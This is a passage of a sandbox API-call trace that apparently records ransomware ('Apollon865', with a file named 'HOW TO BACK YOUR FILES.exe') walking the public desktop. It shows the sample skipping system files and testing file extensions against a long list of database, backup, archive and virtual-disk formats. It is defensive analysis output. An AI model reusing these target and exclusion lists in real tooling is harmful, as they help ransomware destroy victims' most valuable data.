	[0036.148] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.148] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.148] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="Apollon865.txt.exe") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".") returned 1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="..") returned 1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="windows") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="bootmgr") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="temp") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="pagefile.sys") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="boot") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ids.txt") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ntuser.dat") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="perflogs") returned -1
	[0036.148] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="MSBuild") returned -1
	[0036.148] lstrlenW (lpString="Adobe Reader X.lnk") returned 18
	[0036.148] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\*") returned 25
	[0036.148] lstrcpyW (in: lpString1=0x2d3e580, lpString2="Adobe Reader X.lnk" | out: lpString1="Adobe Reader X.lnk") returned="Adobe Reader X.lnk"
	[0036.148] lstrlenW (lpString="Adobe Reader X.lnk") returned 18
	[0036.148] lstrlenW (lpString="Apollon865") returned 10
	[0036.148] lstrcmpiW (lpString1="ader X.lnk", lpString2="Apollon865") returned -1
	[0036.149] lstrlenW (lpString=".dll") returned 4
	[0036.149] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".dll") returned 1
	[0036.149] lstrlenW (lpString=".lnk") returned 4
	[0036.149] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".lnk") returned 1
	[0036.149] lstrlenW (lpString=".ini") returned 4
	[0036.149] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".ini") returned 1
	[0036.149] lstrlenW (lpString=".sys") returned 4
	[0036.149] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".sys") returned 1
	[0036.149] lstrlenW (lpString="Adobe Reader X.lnk") returned 18
	[0036.149] lstrlenW (lpString="bak") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0036.149] lstrlenW (lpString="ba_") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0036.149] lstrlenW (lpString="dbb") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0036.149] lstrlenW (lpString="vmdk") returned 4
	[0036.149] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0036.149] lstrlenW (lpString="rar") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0036.149] lstrlenW (lpString="zip") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0036.149] lstrlenW (lpString="tgz") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0036.149] lstrlenW (lpString="vbox") returned 4
	[0036.149] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0036.149] lstrlenW (lpString="vdi") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0036.149] lstrlenW (lpString="vhd") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0036.149] lstrlenW (lpString="vhdx") returned 4
	[0036.149] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0036.149] lstrlenW (lpString="avhd") returned 4
	[0036.149] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0036.149] lstrlenW (lpString="db") returned 2
	[0036.149] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0036.149] lstrlenW (lpString="db2") returned 3
	[0036.149] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0036.149] lstrlenW (lpString="db3") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0036.150] lstrlenW (lpString="dbf") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0036.150] lstrlenW (lpString="mdf") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0036.150] lstrlenW (lpString="mdb") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0036.150] lstrlenW (lpString="sql") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0036.150] lstrlenW (lpString="sqlite") returned 6
	[0036.150] lstrcmpiW (lpString1=" X.lnk", lpString2="sqlite") returned -1
	[0036.150] lstrlenW (lpString="sqlite3") returned 7
	[0036.150] lstrcmpiW (lpString1="r X.lnk", lpString2="sqlite3") returned -1
	[0036.150] lstrlenW (lpString="sqlitedb") returned 8
	[0036.150] lstrcmpiW (lpString1="er X.lnk", lpString2="sqlitedb") returned -1
	[0036.150] lstrlenW (lpString="xml") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0036.150] lstrlenW (lpString="$er") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0036.150] lstrlenW (lpString="4dd") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0036.150] lstrlenW (lpString="4dl") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0036.150] lstrlenW (lpString="^^^") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0036.150] lstrlenW (lpString="abs") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0036.150] lstrlenW (lpString="abx") returned 3
	[0036.150] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0036.150] lstrlenW (lpString="accdb") returned 5
	[0036.150] lstrcmpiW (lpString1="X.lnk", lpString2="accdb") returned 1
	[0036.150] lstrlenW (lpString="accdc") returned 5
	[0036.150] lstrcmpiW (lpString1="X.lnk", lpString2="accdc") returned 1
	[0036.150] lstrlenW (lpString="accde") returned 5
	[0036.150] lstrcmpiW (lpString1="X.lnk", lpString2="accde") returned 1
	[0036.150] lstrlenW (lpString="accdr") returned 5
	[0036.150] lstrcmpiW (lpString1="X.lnk", lpString2="accdr") returned 1
	[0036.150] lstrlenW (lpString="accdt") returned 5
	[0036.151] lstrcmpiW (lpString1="X.lnk", lpString2="accdt") returned 1
	[0036.151] lstrlenW (lpString="accdw") returned 5
	[0036.151] lstrcmpiW (lpString1="X.lnk", lpString2="accdw") returned 1
	[0036.151] lstrlenW (lpString="accft") returned 5
	[0036.151] lstrcmpiW (lpString1="X.lnk", lpString2="accft") returned 1
	[0036.151] lstrlenW (lpString="adb") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0036.151] lstrlenW (lpString="adb") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0036.151] lstrlenW (lpString="ade") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0036.151] lstrlenW (lpString="adf") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0036.151] lstrlenW (lpString="adn") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0036.151] lstrlenW (lpString="adp") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0036.151] lstrlenW (lpString="alf") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0036.151] lstrlenW (lpString="ask") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0036.151] lstrlenW (lpString="btr") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0036.151] lstrlenW (lpString="cat") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0036.151] lstrlenW (lpString="cdb") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0036.151] lstrlenW (lpString="ckp") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0036.151] lstrlenW (lpString="cma") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0036.151] lstrlenW (lpString="cpd") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0036.151] lstrlenW (lpString="dacpac") returned 6
	[0036.151] lstrcmpiW (lpString1=" X.lnk", lpString2="dacpac") returned -1
	[0036.151] lstrlenW (lpString="dad") returned 3
	[0036.151] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0036.151] lstrlenW (lpString="dadiagrams") returned 10
	[0036.151] lstrcmpiW (lpString1="ader X.lnk", lpString2="dadiagrams") returned -1
	[0036.152] lstrlenW (lpString="daschema") returned 8
	[0036.152] lstrcmpiW (lpString1="er X.lnk", lpString2="daschema") returned 1
	[0036.152] lstrlenW (lpString="db-journal") returned 10
	[0036.152] lstrcmpiW (lpString1="ader X.lnk", lpString2="db-journal") returned -1
	[0036.152] lstrlenW (lpString="db-shm") returned 6
	[0036.152] lstrcmpiW (lpString1=" X.lnk", lpString2="db-shm") returned -1
	[0036.152] lstrlenW (lpString="db-wal") returned 6
	[0036.152] lstrcmpiW (lpString1=" X.lnk", lpString2="db-wal") returned -1
	[0036.152] lstrlenW (lpString="dbc") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0036.152] lstrlenW (lpString="dbs") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0036.152] lstrlenW (lpString="dbt") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0036.152] lstrlenW (lpString="dbv") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0036.152] lstrlenW (lpString="dbx") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0036.152] lstrlenW (lpString="dcb") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0036.152] lstrlenW (lpString="dct") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0036.152] lstrlenW (lpString="dcx") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0036.152] lstrlenW (lpString="ddl") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0036.152] lstrlenW (lpString="dlis") returned 4
	[0036.152] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0036.152] lstrlenW (lpString="dp1") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0036.152] lstrlenW (lpString="dqy") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0036.152] lstrlenW (lpString="dsk") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0036.152] lstrlenW (lpString="dsn") returned 3
	[0036.152] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0036.152] lstrlenW (lpString="dtsx") returned 4
	[0036.152] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0036.153] lstrlenW (lpString="dxl") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0036.153] lstrlenW (lpString="eco") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0036.153] lstrlenW (lpString="ecx") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0036.153] lstrlenW (lpString="edb") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0036.153] lstrlenW (lpString="epim") returned 4
	[0036.153] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0036.153] lstrlenW (lpString="fcd") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0036.153] lstrlenW (lpString="fdb") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0036.153] lstrlenW (lpString="fic") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0036.153] lstrlenW (lpString="flexolibrary") returned 12
	[0036.153] lstrcmpiW (lpString1="Reader X.lnk", lpString2="flexolibrary") returned 1
	[0036.153] lstrlenW (lpString="fm5") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0036.153] lstrlenW (lpString="fmp") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0036.153] lstrlenW (lpString="fmp12") returned 5
	[0036.153] lstrcmpiW (lpString1="X.lnk", lpString2="fmp12") returned 1
	[0036.153] lstrlenW (lpString="fmpsl") returned 5
	[0036.153] lstrcmpiW (lpString1="X.lnk", lpString2="fmpsl") returned 1
	[0036.153] lstrlenW (lpString="fol") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0036.153] lstrlenW (lpString="fp3") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0036.153] lstrlenW (lpString="fp4") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0036.153] lstrlenW (lpString="fp5") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0036.153] lstrlenW (lpString="fp7") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0036.153] lstrlenW (lpString="fpt") returned 3
	[0036.153] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0036.154] lstrlenW (lpString="frm") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0036.154] lstrlenW (lpString="gdb") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0036.154] lstrlenW (lpString="gdb") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0036.154] lstrlenW (lpString="grdb") returned 4
	[0036.154] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0036.154] lstrlenW (lpString="gwi") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0036.154] lstrlenW (lpString="hdb") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0036.154] lstrlenW (lpString="his") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0036.154] lstrlenW (lpString="ib") returned 2
	[0036.154] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0036.154] lstrlenW (lpString="idb") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0036.154] lstrlenW (lpString="ihx") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0036.154] lstrlenW (lpString="itdb") returned 4
	[0036.154] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0036.154] lstrlenW (lpString="itw") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0036.154] lstrlenW (lpString="jet") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0036.154] lstrlenW (lpString="jtx") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0036.154] lstrlenW (lpString="kdb") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0036.154] lstrlenW (lpString="kexi") returned 4
	[0036.154] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0036.154] lstrlenW (lpString="kexic") returned 5
	[0036.154] lstrcmpiW (lpString1="X.lnk", lpString2="kexic") returned 1
	[0036.154] lstrlenW (lpString="kexis") returned 5
	[0036.154] lstrcmpiW (lpString1="X.lnk", lpString2="kexis") returned 1
	[0036.154] lstrlenW (lpString="lgc") returned 3
	[0036.154] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0036.155] lstrlenW (lpString="lwx") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0036.155] lstrlenW (lpString="maf") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0036.155] lstrlenW (lpString="maq") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0036.155] lstrlenW (lpString="mar") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0036.155] lstrlenW (lpString="marshal") returned 7
	[0036.155] lstrcmpiW (lpString1="r X.lnk", lpString2="marshal") returned 1
	[0036.155] lstrlenW (lpString="mas") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0036.155] lstrlenW (lpString="mav") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0036.155] lstrlenW (lpString="maw") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0036.155] lstrlenW (lpString="mdbhtml") returned 7
	[0036.155] lstrcmpiW (lpString1="r X.lnk", lpString2="mdbhtml") returned 1
	[0036.155] lstrlenW (lpString="mdn") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0036.155] lstrlenW (lpString="mdt") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0036.155] lstrlenW (lpString="mfd") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0036.155] lstrlenW (lpString="mpd") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0036.155] lstrlenW (lpString="mrg") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0036.155] lstrlenW (lpString="mud") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0036.155] lstrlenW (lpString="mwb") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0036.155] lstrlenW (lpString="myd") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0036.155] lstrlenW (lpString="ndf") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0036.155] lstrlenW (lpString="nnt") returned 3
	[0036.155] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0036.155] lstrlenW (lpString="nrmlib") returned 6
	[0036.156] lstrcmpiW (lpString1=" X.lnk", lpString2="nrmlib") returned -1
	[0036.156] lstrlenW (lpString="ns2") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0036.156] lstrlenW (lpString="ns3") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0036.156] lstrlenW (lpString="ns4") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0036.156] lstrlenW (lpString="nsf") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0036.156] lstrlenW (lpString="nv") returned 2
	[0036.156] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0036.156] lstrlenW (lpString="nv2") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0036.156] lstrlenW (lpString="nwdb") returned 4
	[0036.156] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0036.156] lstrlenW (lpString="nyf") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0036.156] lstrlenW (lpString="odb") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0036.156] lstrlenW (lpString="odb") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0036.156] lstrlenW (lpString="oqy") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0036.156] lstrlenW (lpString="ora") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0036.156] lstrlenW (lpString="orx") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0036.156] lstrlenW (lpString="owc") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0036.156] lstrlenW (lpString="p96") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0036.156] lstrlenW (lpString="p97") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0036.156] lstrlenW (lpString="pan") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0036.156] lstrlenW (lpString="pdb") returned 3
	[0036.156] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0036.156] lstrlenW (lpString="pdm") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0036.157] lstrlenW (lpString="pnz") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0036.157] lstrlenW (lpString="qry") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0036.157] lstrlenW (lpString="qvd") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0036.157] lstrlenW (lpString="rbf") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0036.157] lstrlenW (lpString="rctd") returned 4
	[0036.157] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0036.157] lstrlenW (lpString="rod") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0036.157] lstrlenW (lpString="rodx") returned 4
	[0036.157] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0036.157] lstrlenW (lpString="rpd") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0036.157] lstrlenW (lpString="rsd") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0036.157] lstrlenW (lpString="sas7bdat") returned 8
	[0036.157] lstrcmpiW (lpString1="er X.lnk", lpString2="sas7bdat") returned -1
	[0036.157] lstrlenW (lpString="sbf") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0036.157] lstrlenW (lpString="scx") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0036.157] lstrlenW (lpString="sdb") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0036.157] lstrlenW (lpString="sdc") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0036.157] lstrlenW (lpString="sdf") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0036.157] lstrlenW (lpString="sis") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0036.157] lstrlenW (lpString="spq") returned 3
	[0036.157] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0036.157] lstrlenW (lpString="te") returned 2
	[0036.157] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0036.157] lstrlenW (lpString="teacher") returned 7
	[0036.158] lstrcmpiW (lpString1="r X.lnk", lpString2="teacher") returned -1
	[0036.158] lstrlenW (lpString="tmd") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0036.158] lstrlenW (lpString="tps") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0036.158] lstrlenW (lpString="trc") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0036.158] lstrlenW (lpString="trc") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0036.158] lstrlenW (lpString="trm") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0036.158] lstrlenW (lpString="udb") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0036.158] lstrlenW (lpString="udl") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0036.158] lstrlenW (lpString="usr") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0036.158] lstrlenW (lpString="v12") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0036.158] lstrlenW (lpString="vis") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0036.158] lstrlenW (lpString="vpd") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0036.158] lstrlenW (lpString="vvv") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0036.158] lstrlenW (lpString="wdb") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0036.158] lstrlenW (lpString="wmdb") returned 4
	[0036.158] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0036.158] lstrlenW (lpString="wrk") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0036.158] lstrlenW (lpString="xdb") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0036.158] lstrlenW (lpString="xld") returned 3
	[0036.158] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0036.158] lstrlenW (lpString="xmlff") returned 5
	[0036.158] lstrcmpiW (lpString1="X.lnk", lpString2="xmlff") returned -1
	[0036.158] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.159] lstrlenW (lpString="desktop.ini") returned 11
	[0036.159] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned 42
